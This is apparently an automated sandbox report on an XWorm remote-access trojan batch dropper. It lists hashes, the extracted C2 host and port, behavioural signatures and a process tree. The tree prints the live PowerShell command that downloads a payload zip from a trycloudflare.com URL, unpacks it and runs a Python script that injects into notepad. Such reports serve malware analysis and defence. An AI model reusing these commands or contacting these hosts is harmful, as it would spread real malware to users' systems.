xworm | 1bc72757a82f2f9c7bdf9a5d19de6f28c53ba3b4f8eba8dcb5f4590e7affae39

Analysis

max time kernel
299s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
16-05-2024 10:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

basbasbas.bat
Size

1KB
MD5

ddd451685225b980bb2e0789090d3ff5
SHA1

cafbfce346a90aef87782e8ff87a626e5ffa6b05
SHA256

1bc72757a82f2f9c7bdf9a5d19de6f28c53ba3b4f8eba8dcb5f4590e7affae39
SHA512

78e4e8724522abe7170f2e26143fc72cd632eb23b8ba6499558ab1c37e430a53d4f37aeec9f93b6fb465c84e5a476057178ceb6f7f3c728c5c4c21dced02f0da

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

freshinxworm.ddns.net:7000

Mutex

gqDWp48TjRIAdwF2

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/220-15385-0x000001628A780000-0x000001628A78E000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4972 created 3400	4972	python.exe	54

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	4360	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5092	powershell.exe
4360	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
352	python.exe
4972	python.exe

Loads dropped DLL 9 IoCs

pid	Process
352	python.exe
352	python.exe
352	python.exe
4972	python.exe
4972	python.exe
4972	python.exe
4972	python.exe
4972	python.exe
4972	python.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
520	timeout.exe
4712	timeout.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\NextUpdateDate = "422669435"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\Certificates	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\Certificates	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "395205405"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 3705b2307da7da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CRLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\CIStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 35c33d227da7da01	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = b1f55c8a7da7da01	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Next Rating Prompt = 60db20675bb9da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CTLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$WordPress	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\en-US = "en-US.1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0000000000000000	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\Certificates	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = b55ac51d7da7da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 13b7a3307da7da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 76bea81d7da7da01	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4360	powershell.exe
4360	powershell.exe
4360	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
4972	python.exe
220	notepad.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2192	MicrosoftEdgeCP.exe
2192	MicrosoftEdgeCP.exe
2192	MicrosoftEdgeCP.exe
2192	MicrosoftEdgeCP.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
4972	python.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	4360	powershell.exe
Token: SeDebugPrivilege	1116	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1116	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1116	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1116	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1280	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1280	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeDebugPrivilege	220	notepad.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2976	MicrosoftEdge.exe
2192	MicrosoftEdgeCP.exe
1116	MicrosoftEdgeCP.exe
2192	MicrosoftEdgeCP.exe
220	notepad.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3900 wrote to memory of 520	3900	cmd.exe	75
PID 3900 wrote to memory of 520	3900	cmd.exe	75
PID 3900 wrote to memory of 4360	3900	cmd.exe	76
PID 3900 wrote to memory of 4360	3900	cmd.exe	76
PID 2192 wrote to memory of 3044	2192	MicrosoftEdgeCP.exe	79
PID 2192 wrote to memory of 3044	2192	MicrosoftEdgeCP.exe	79
PID 2192 wrote to memory of 3044	2192	MicrosoftEdgeCP.exe	79
PID 2192 wrote to memory of 3044	2192	MicrosoftEdgeCP.exe	79
PID 2192 wrote to memory of 3044	2192	MicrosoftEdgeCP.exe	79
PID 2192 wrote to memory of 3044	2192	MicrosoftEdgeCP.exe	79
PID 2192 wrote to memory of 3044	2192	MicrosoftEdgeCP.exe	79
PID 2192 wrote to memory of 3044	2192	MicrosoftEdgeCP.exe	79
PID 2192 wrote to memory of 3044	2192	MicrosoftEdgeCP.exe	79
PID 2192 wrote to memory of 3044	2192	MicrosoftEdgeCP.exe	79
PID 2192 wrote to memory of 3044	2192	MicrosoftEdgeCP.exe	79
PID 3900 wrote to memory of 5092	3900	cmd.exe	84
PID 3900 wrote to memory of 5092	3900	cmd.exe	84
PID 3900 wrote to memory of 352	3900	cmd.exe	85
PID 3900 wrote to memory of 352	3900	cmd.exe	85
PID 3900 wrote to memory of 4972	3900	cmd.exe	86
PID 3900 wrote to memory of 4972	3900	cmd.exe	86
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87
PID 4972 wrote to memory of 220	4972	python.exe	87

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\basbasbas.bat"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3900
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://climb-items-macedonia-hometown.trycloudflare.com/qfv0ao.zip' -OutFile 'C:\Users\Admin\Downloads\qfv0ao.zip' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\qfv0ao.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5092
- - C:\Users\Admin\Downloads\qfv0ao\App\Python\python.exe
    python.exe vue.py
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:352
- - C:\Users\Admin\Downloads\qfv0ao\App\Python\python.exe
    python.exe new.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of WriteProcessMemory
    PID:4972
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:4712
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:220

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2976

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
